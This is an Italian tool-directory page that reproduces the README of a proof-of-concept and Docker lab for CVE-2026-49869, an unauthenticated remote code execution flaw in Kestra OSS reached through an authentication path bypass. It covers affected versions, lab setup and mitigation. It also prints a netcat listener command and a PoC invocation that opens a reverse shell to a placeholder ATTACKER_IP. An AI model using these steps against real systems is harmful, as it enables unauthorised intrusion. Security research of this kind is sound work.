Skip to content
KitploitKITPLOIT
StrumentiExploitsBlog
Log in
Invia
StrumentiExploitsBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2026-49869 — PoC e laboratorio Docker per CVE-2026-49869, un RCE non autenticato in Kestra OSS tramite un bypass del percorso AuthenticationFilter che consente la creazione di flow e l'esecuzione di comandi. | Kitploit
Strumenti/GitHubGitHub/eqstlab/cve-2026-49869
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebVirtualizzazione per la SicurezzaSicurezza WebPenetration TestingAutenticazioneStrumento di Accesso RemotoLab e Pratica
GitHubeqstlab/cve-2026-49869

CVE-2026-49869

PoC e laboratorio Docker per CVE-2026-49869, un RCE non autenticato in Kestra OSS tramite un bypass del percorso AuthenticationFilter che consente la creazione di flow e l'esecuzione di comandi.

151 giorno faNon ancora revisionato
Vedi Repository

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2026-49869: Esecuzione Remota di Codice Non Autenticata in Kestra

★PoC e laboratorio Docker per il bypass dell'autenticazione in Kestra OSS AuthenticationFilter★

Esegui questo laboratorio solo su sistemi che controlli. L'esempio -p 8080:8080 potrebbe pubblicare l'API vulnerabile su tutte le interfacce dell'host; blocca l'accesso da altre reti.

https://github.com/user-attachments/assets/e8dc29f2-1fd2-49bb-9a61-3ae67ee69865

Panoramica

Kestra utilizza Basic Auth per proteggere la propria API. Nelle versioni OSS interessate, AuthenticationFilter considera qualsiasi percorso di richiesta che termina con /configs come endpoint di configurazione pubblico. Un client non autenticato può quindi creare un flow denominato configs e successivamente eseguirlo tramite percorsi API che terminano entrambi con /configs. Un task di shell in quel flow può eseguire comandi nel container worker di Kestra. Il difetto e la catena di RCE sono descritti nell'avviso di sicurezza di Kestra.

Versioni interessate

Branch Kestra OSSVersioni vulnerabiliPrima versione corretta
1.0.x e precedentiPrecedenti a 1.0.451.0.45
1.1.x–1.3.xDa 1.1.0 a 1.3.201.3.21

Il laboratorio utilizza v1.3.20 con Basic Auth OSS abilitata. Il problema interessa questo percorso di autenticazione quando l'API di Kestra è raggiungibile; l'immagine locale è basata su kestra/kestra:v1.3.20.

Impatto

  • Creare ed eseguire un flow senza credenziali.
  • Eseguire comandi tramite un task di script installato, con i privilegi del container worker.
  • Accedere o modificare altre risorse il cui percorso API termina con /configs; l'avviso descrive anche SSRF tramite un template di workflow.

I privilegi del container non implicano privilegi sull'host.

Ambiente

Il repository dovrebbe contenere Dockerfile, entrypoint.sh e poc.py insieme a questo README. Docker è necessario per eseguire il target; Python 3 è necessario per il PoC. Non è necessario installare pacchetti Python.

docker build -t cve-2026-49869-lab .
docker run -d --name cve-2026-49869-lab -p 8080:8080 cve-2026-49869-lab

entrypoint.sh abilita Basic Auth con un account riservato al laboratorio:

UsernamePassword
[email protected]Eqst123!

Kestra richiede un username in formato email e una password con almeno otto caratteri, lettere maiuscole e minuscole e una cifra. Queste credenziali sono pubblicate solo per test locali.

Attendi finché la prima richiesta non restituisce 200. La seconda richiesta dovrebbe restituire 401, dimostrando che Basic Auth protegge un normale percorso API:

curl.exe -sS -o NUL -w "%{http_code}`n" http://127.0.0.1:8080/api/v1/configs
curl.exe -sS -o NUL -w "%{http_code}`n" http://127.0.0.1:8080/api/v1/main/flows/tutorial/notconfigs

Se un container arrestato ha già lo stesso nome, usa docker start cve-2026-49869-lab per riutilizzarlo, oppure rimuovi quel container prima di crearne uno nuovo con docker run.

PoC

Lo script invia due richieste senza credenziali: una crea o aggiorna configs/configs con un task di shell, e la successiva avvia la sua esecuzione. Non è necessario alcun flow creato dall'utente. Eseguire nuovamente lo script sostituisce il flow del laboratorio con lo stesso nome.

Per prima cosa, avvia un listener sulla macchina che riceverà la connessione della shell:

nc -lvnp LISTENER_PORT

Poi esegui il PoC dalla directory che contiene poc.py:

python poc.py http://TARGET:8080 --lhost ATTACKER_IP --lport LISTENER_PORT

Per un laboratorio Docker sulla stessa macchina, sostituisci TARGET con 127.0.0.1. Imposta ATTACKER_IP su un indirizzo IPv4 che il container può raggiungere; lo script non avvia il listener. Lo script stampa la risposta di esecuzione, incluso un ID di esecuzione. È necessaria una connessione sul listener per confermare che la reverse shell stessa abbia funzionato.

Risultati osservati

Il test locale registrato ha utilizzato un task Log innocuo per verificare il bypass dell'autenticazione e l'esecuzione del workflow. Non ha eseguito il payload della reverse shell.

Verificav1.3.20v1.3.21
API protetta ordinaria, senza credenziali401401
Creazione del flow configs, senza credenziali200401
Avvio dell'esecuzione di configs, senza credenziali200401
Task innocuo sulla versione vulnerabileSUCCESS, marker nei log—

Il callback della reverse shell non fa parte di questi risultati registrati.

Mitigazione

Aggiorna almeno a 1.0.45 sul branch 1.0.x o a 1.3.21 sui branch 1.1.x–1.3.x. La correzione upstream normalizza il percorso e verifica la route di configurazione pubblica esatta invece di accettare ogni suffisso /configs. Fino al completamento dell'aggiornamento, limita l'accesso all'API di Kestra e consenti l'accesso non autenticato solo alla route pubblica prevista tramite un proxy.

Pulizia

docker rm -f cve-2026-49869-lab
docker image rm cve-2026-49869-lab

Riferimenti

  • Avviso di sicurezza Kestra GHSA-5vc5-wxxq-3fjx
  • Record CVE-2026-49869
  • Release Kestra v1.3.21
  • Correzione di AuthenticationFilter
Scarica lo strumento